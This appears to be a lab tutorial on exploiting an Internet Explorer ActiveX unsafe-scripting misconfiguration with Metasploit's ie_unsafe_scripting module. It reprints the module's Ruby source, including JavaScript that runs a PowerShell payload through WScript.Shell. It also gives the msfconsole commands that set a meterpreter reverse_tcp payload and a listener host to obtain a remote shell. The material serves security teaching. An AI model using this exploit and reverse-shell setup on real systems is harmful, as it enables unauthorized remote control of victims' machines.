Exploiting the IE Browser Vulnerability
In this step, we will demonstrate the process of exploiting the IE browser vulnerability.
Understanding the Ruby Module Source Code
The exploit module ie_unsafe_scripting is already integrated into Metasploit. You can find its information using the search command (note that searching for modules in Metasploit may take two to three minutes due to the large number of modules, so please be patient):
## Search for the corresponding module information
msf > search ie_unsafe_scripting
## Sample output of the search command
You can view the source code of ie_unsafe_scripting using the cat command. Metasploit's exploit modules are written in Ruby language. The key parts of the source code for exploiting the IE vulnerability are shown below:
## Import required modules
require 'msf/core'
require 'msf/util/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
## Information related to instantiating ActiveXObject
VULN_CHECK_JS = %Q|
try {
new ActiveXObject("WScript.Shell");
new ActiveXObject("Scripting.FileSystemObject");
is_vuln = true;
} catch(e) {}
|
...
...
...
## Initialize related information using the initialize function
def initialize(info = {})
super(update_info(info,
## Module name
'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration',
## Module description (omitted due to length)
'Description' => %q{
...
...
...
},
## Module license
'License' => MSF_LICENSE,
## Module authors
'Author' =>
[
'natron',
'Ben Campbell' ## PSH and remove ADODB.Stream
],
'References' =>
[
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
[ 'URL', 'http://support.microsoft.com/kb/870669']
],
'DisclosureDate' => 'Sep 20 2010',
'Platform' => 'win',
## Browser information description
'BrowserRequirements' => {
source: 'script',
os_name: OperatingSystems::Match::WINDOWS,
ua_name: HttpClients::IE,
vuln_test: VULN_CHECK_JS,
vuln_test_error: 'WScript.Shell or Scripting.FileSystemObject not allowed by browser.'
},
'Arch' => ARCH_X86,
## Target Windows x86/x64 operating systems
'Targets' =>
[
[ 'Windows x86/x64', {} ]
],
## Default options
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0
))
## Register options and related registration functions
register_options(
[
OptBool.new('ALLOWPROMPT', [true, 'Allow exploit to ignore the protected mode prompt', false]),
OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']])
], self.class
)
end
Continuing from the above Ruby source code, this part shows the middle section of the ie_unsafe_scripting source code:
## on_request_exploit function for listening to attack requests
## After generating a specific link, it listens for the target machine's IE browser to access the generated page
def on_request_exploit(cli, request, browser)
if has_protected_mode_prompt?(browser)
print_warning("This target possibly has Protected Mode, exploit aborted.")
send_not_found(cli)
return
end
## Build the attack page for the target machine to access
var_shellobj = rand_text_alpha(rand(5)+5)
p = regenerate_payload(cli)
if datastore['TECHNIQUE'] == 'VBS'
js_content = vbs_technique(var_shellobj, p)
else
js_content = psh_technique(var_shellobj, p)
end
print_status("Request received for #{request.uri}")
print_status("Sending exploit html/javascript");
## Send the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
## Handle the specific payload
handler(cli)
end
...
...
...
## Part of the generated JavaScript
def psh_technique(var_shellobj, p)
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
js_content = %Q|
<html><head></head><body><script>
## Instantiate ActiveXObject and return a reference to the Automation object
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
## Run the run function to execute cmd commands
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
</script></html>
|
js_content
end
After explaining the key parts of the ie_unsafe_scripting exploit module's source code, we will use the ie_unsafe_scripting module to launch the attack. First, in the msfconsole, use the use command to load the exploit module:
## Use the integrated exploit module
msf > use exploit/windows/browser/ie_unsafe_scripting
## Sample output of using the exploit module
Next, use the set command to set the attack payload, and the show options command to view the required options. Finally, use the set command to set the attack machine's IP address:
## Set the attack payload
msf > set payload windows/meterpreter/reverse_tcp
## View the option information
msf > show options
## Set the host IP address
msf > set LHOST 172.17.0.1
## Sample output of setting options
Then, enter the final exploit command to initiate the attack. The attack machine will enter a listening state, and if the target machine's vulnerable IE browser visits the generated web page, the attacker can gain administrative privileges on the target machine due to the ActiveX flaw and establish a shell connection:
## Sample output of the exploit command
## Generated web page URL
http://10.111.80.66:8080/gV9pr8k3POj
Note: Since the --network parameter was used when launching the container, the local IP address used in different lab environments may vary. Please refer to the URL generated in your own environment.
## Sample output showing the server entering a listening state
After launching, the server enters a listening state. However, since the LabEx environment does not have a Windows environment installed, the final step of using the IE browser to access the generated URL cannot be demonstrated.
